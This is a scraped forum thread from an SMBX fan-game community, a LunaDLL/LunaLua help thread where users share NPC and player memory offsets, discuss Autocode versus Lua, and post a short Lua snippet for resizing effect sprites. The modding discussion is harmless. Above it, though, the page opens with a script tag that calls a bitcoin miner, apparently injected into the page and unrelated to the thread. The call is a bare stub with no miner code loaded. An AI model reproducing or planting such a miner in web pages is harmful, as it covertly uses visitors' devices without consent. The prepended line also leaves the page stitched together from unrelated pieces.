<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectmario fan games galaxysmw central

LunaDLL/LunaLUA help thread

The second SMBX collab!
User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

Some more useful NPC offsets to add:

Code: Select all

// 0x+00A w = Set to 2 when touching a block below
// 0x+00C w = Set to 2 when touching a block to the left
// 0x+00E w = Set to 2 when touching a block above
// 0x+010 w = Set to 2 when touching a block to the right
// (Forcing these to a value doesn't affect behaviour, the engine presumably resets before using them)
EDIT:
Also, so far as I can tell 0x+136 should be

Code: Select all

// 0x+136	w	= 0xFFFF = Hit by and hits other NPCs.
For example, if you set this on a thwomp, then it becomes vulnerable to rinka circles, and if a koopa walks into it's side they both die. It does *not* however allow collision with certainly particular things like bowser statue fire for some reason.

This flag seems to be set when the player grabs/throws an NPC.
This is also the flag that the Bowser bosses set while falling, causing them to kill other enemies when slamming down, but not otherwise.

It also has some other side effects, such as:
- It triggers upside-down animations and behaviour as if just thrown for certain enemies such as Tweeter
- When set on a SM64 Bully, it causes the Bully to not do anything, and it doesn't even collide with other NPCs like most other NPCs seem to when this flag is set.

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 921
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 4 years ago

Oh, dang, these will all be really helpful! I'm going to have to incorporate some of them into the new cinematX patch! :D

For future reference, there's a thread for LunaDLL discoveries over here:
viewtopic.php?f=36&t=15005
A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

Ahh, thanks. Didn't know about that thread.

Another quick note, this may already be known, but I know the 0x+156 field I found is right at the end of the structure, because the next NPC structure seems to start right at 0x+158.

User avatar
ohmato
hey idiot
Posts: 794
Joined: 4 years ago
Location: location, location
Contact:

Re: LunaDLL help thread

Postby ohmato » 4 years ago

Has anyone discovered the offset that stores how many bombs that the elf is carrying? Want to make sure I won't waste time trying to figure it out if it's already known.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

arabsalmon wrote:Has anyone discovered the offset that stores how many bombs that the elf is carrying? Want to make sure I won't waste time trying to figure it out if it's already known.
I just ran a test, and it's at 0x08... which is funny because the PlayerMOB.h docs say

Code: Select all

+0x08		w	= Water or quicksand timer
... but this apparently is used for bomb count

EDIT: Investigating further, it appears +0x06 is used for the quicksand timer, not +0x08 as PlayerMOB.h says.

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 4 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: LunaDLL help thread

Postby romajiQuadhash » 4 years ago

The links to the tutorials are broken.
Could someone please put them up somewhere again?
Or make a better tutorial given that LunaDLL is seemingly all done?

On a diffrent note, does LunaDLL use a language that something else uses? Would it be possible to code something like python on top of it?
This is a sig

Rockythechao
the figure of Kevka's bear was a sightseeing
Posts: 921
Joined: 5 years ago
First name: Michael
Pronouns: he/they
Location: Yes

Re: LunaDLL help thread

Postby Rockythechao » 4 years ago

A2XT Episode 2's vice admiral "The Project's Not Dead Yet" person and certified Absurdly-Oblivious Fool

Useful posts, discussions & resources for SMBX and A2XT

My art & audio thread
Audiomack (new music), SoundCloud (old music)

Image

𝐀𝐍 𝐀𝐖𝐄𝐒𝐎𝐌𝐄 𝐏𝐑𝐀𝐘𝐄𝐑 𝐈𝐒
𝐂𝐎𝐍𝐅𝐋𝐈𝐂𝐓 𝐖𝐈𝐓𝐇 𝐔𝐒

- 𝐁𝐀𝐓𝐓𝐋𝐄𝐒𝐔𝐈𝐓 𝐌𝐎𝐑𝐒𝐄𝐋 -

𝐊𝐄𝐄𝐏 𝐘𝐎𝐔𝐑 𝐃𝐈𝐆𝐍𝐈𝐓𝐘

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

To elaborate on what Rocky said...
romajiQuadhash wrote:On a diffrent note, does LunaDLL use a language that something else uses? Would it be possible to code something like python on top of it?
There's two choices of language to use in conjunction with LunaDLL:
1) "Autocode" which was invented for LunaDLL, and is a little scripting thing that's not really a proper programming language but can do the job for some things.
2) Lua, which is a proper scripting language used by many other projects. One niche it's very popular in is game development.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Rednaxela wrote: 1) "Autocode" which was invented for LunaDLL, and is a little scripting thing that's not really a proper programming language but can do the job for some things.
Autocode wasn't invented for LunaDLL, it was an early programming language from the days when languages had to be more machine readable than human readable: http://en.wikipedia.org/wiki/Autocode

Adapted for it, sure, but not invented.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

Oh huh, wasn't familiar with it and had just assumed, huh. Learn new things every day.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Rednaxela wrote:Oh huh, wasn't familiar with it and had just assumed, huh. Learn new things every day.
It's not a very often used language.

And for good reason.
Image
Image
Image
Image
Image

User avatar
Sturg
Gets his freak on with VGM
Posts: 670
Joined: 8 years ago
First name: sturgyman
Location: - :noiƚɒɔo⅃
Contact:

Re: LunaDLL help thread

Postby Sturg » 4 years ago

How would one go about into toggling between two different backgrounds via input?

lol nm i got it figured out
ImageImage
ImageImageImageImage

Blue Podoboo
Posts: 5
Joined: 5 years ago

Re: LunaDLL help thread

Postby Blue Podoboo » 4 years ago

Is there a way to make the player permanently hold a Billy Gun?

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 4 years ago

Hoeloe wrote:
Rednaxela wrote: 1) "Autocode" which was invented for LunaDLL, and is a little scripting thing that's not really a proper programming language but can do the job for some things.
Autocode wasn't invented for LunaDLL, it was an early programming language from the days when languages had to be more machine readable than human readable: http://en.wikipedia.org/wiki/Autocode

Adapted for it, sure, but not invented.
That's something separate from what's in Luna.dll. Luna's "autocode" language was made by me in about 25 minutes and was only supposed to be a fast and simple text parser for dragging and dropping filters and simple stuff like the InfiniteFlying command. Essentially, like the npc.txt files of smbx.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Kil wrote: That's something separate from what's in Luna.dll. Luna's "autocode" language was made by me in about 25 minutes and was only supposed to be a fast and simple text parser for dragging and dropping filters and simple stuff like the InfiniteFlying command. Essentially, like the npc.txt files of smbx.
Ah, okay. It shares some similarities (and the name, of course), so I assumed it was a reduced version. I was right about it being created for easy parsing rather than readability, at least. :P
Image
Image
Image
Image
Image

Kil
Posts: 13
Joined: 10 years ago

Re: LunaDLL help thread

Postby Kil » 4 years ago

I've actually never heard of the real Autocode before... can't say I'm surprised the name was used though.
DON'T PM me. Ask your question in the help thread so everyone can be answered.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Kil wrote:I've actually never heard of the real Autocode before... can't say I'm surprised the name was used though.
To be honest, I was surprised you'd picked that (when I thought you'd adapted it) for LunaDLL, because it hasn't been in use for about 50 years.

Has it been me, I'd probably have implemented my own language too, but more likely just using some basic language constructs, such as single-typed variables, conditionals and loops. A little more complex in the parser, but surprisingly simple when you get down to it.
Image
Image
Image
Image
Image

User avatar
Willhart
Stalker, Doxxer, and Sexual Harasser
Banned
Posts: 2520
Joined: 8 years ago
Location: Finland

Re: LunaDLL help thread

Postby Willhart » 4 years ago

Kil wrote:That's something separate from what's in Luna.dll. Luna's "autocode" language was made by me in about 25 minutes and was only supposed to be a fast and simple text parser for dragging and dropping filters and simple stuff like the InfiniteFlying command. Essentially, like the npc.txt files of smbx.
I did not remember about this either. I've always just called it lunadll, since thats what people have been using. I do like how efficient/quick it's been to use for the things it can do.

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: LunaDLL help thread

Postby Hoeloe » 4 years ago

Willhart wrote:
Kil wrote:That's something separate from what's in Luna.dll. Luna's "autocode" language was made by me in about 25 minutes and was only supposed to be a fast and simple text parser for dragging and dropping filters and simple stuff like the InfiniteFlying command. Essentially, like the npc.txt files of smbx.
I did not remember about this either. I've always just called it lunadll, since thats what people have been using. I do like how efficient/quick it's been to use for the things it can do.
When copying and pasting, sure, but the same can be said for just about anything. I mean no disrespect to Kil when I say this, but it's not exactly a well designed language (I would personally give a standing ovation to anyone who could make one of those without at least several days planning beforehand), and while it may work okay for the simple cases, it doesn't really cut it for anything else. I think it's best, if possible, to keep everything, simple and complex, in one place, rather than using Autocode for some things and Lua for others. This is the programming purist in me talking, consistency is key.
Image
Image
Image
Image
Image

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 4 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: LunaDLL help thread

Postby romajiQuadhash » 4 years ago

Thanks for telling me about the Lua thing!
Now I can code in a languge I have some farmiliarity with
This is a sig

User avatar
ohmato
hey idiot
Posts: 794
Joined: 4 years ago
Location: location, location
Contact:

Re: LunaDLL help thread

Postby ohmato » 4 years ago

I'm coming here a lot.

Is there a way to change the sprite sizes of effects? I've replaced Mother Brain with a custom boss, but when it dies it defaults to the normal death animation. When I replaced the effect GIF, it clipped it to fit the normal size of Mother Brain.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 784
Joined: 5 years ago

Re: LunaDLL help thread

Postby Rednaxela » 4 years ago

arabsalmon wrote:Is there a way to change the sprite sizes of effects? I've replaced Mother Brain with a custom boss, but when it dies it defaults to the normal death animation. When I replaced the effect GIF, it clipped it to fit the normal size of Mother Brain.
Just did a test, the following type of code works for making an effect differently sized than normal, including larger.

Code: Select all

for i,anim in pairs(animations()) do
		if (anim.id == 69) then
			anim.height = 320
			anim.width = 320
		end
	end

User avatar
Ittababy
Posts: 13
Joined: 6 years ago

Re: LunaDLL help thread

Postby Ittababy » 4 years ago

Okay, how about this?: Air fish.
...
Though it occurs to me that I could use parakoopas, but I'd rather have those npcs free
A very shy ghost.

TiKi
Posts: 23
Joined: 6 years ago

Re: LunaDLL help thread

Postby TiKi » 4 years ago

I had the idea of porting a friend's favorite character into smbx as a surprise, but the bed sprites I could find were 194x110 (2x scale) MUGEN sprites. I'd have no prob with that if it weren't for SMBX. So is there a way to import player sprites past 100x100 into SMBX without having Luna draw each sprite based on what the player is doing and just have the "real" player be an invisible hitbox? I'm not offended with anyone if the answer is no, I just wondered if there was a not complicated way of going about it.

SMetoid99
Posts: 0
Joined: 4 years ago

Powerup stacking LUNAdll

Postby SMetoid99 » 4 years ago

Is there a code where for when you get hit, you get smaller or die but you don't lose the powerup you have and for power up stacking in the item box?


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 2 guests